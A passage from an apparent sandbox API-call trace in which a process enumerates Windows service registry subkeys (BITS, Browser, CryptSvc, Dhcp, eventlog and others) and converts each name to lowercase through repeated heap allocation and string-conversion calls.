cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.963] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.963] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.963] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.964] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.964] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.964] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.964] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0173.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.965] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0173.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0173.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.965] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0173.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0173.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.965] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0173.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0173.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.965] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0173.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.966] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.966] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.966] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0173.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.966] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0173.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0173.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.967] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0173.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0173.967] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0173.967] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0173.967] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0173.967] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0173.967] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0173.967] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0173.967] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0173.967] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0173.967] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0173.968] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0173.969] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x69, 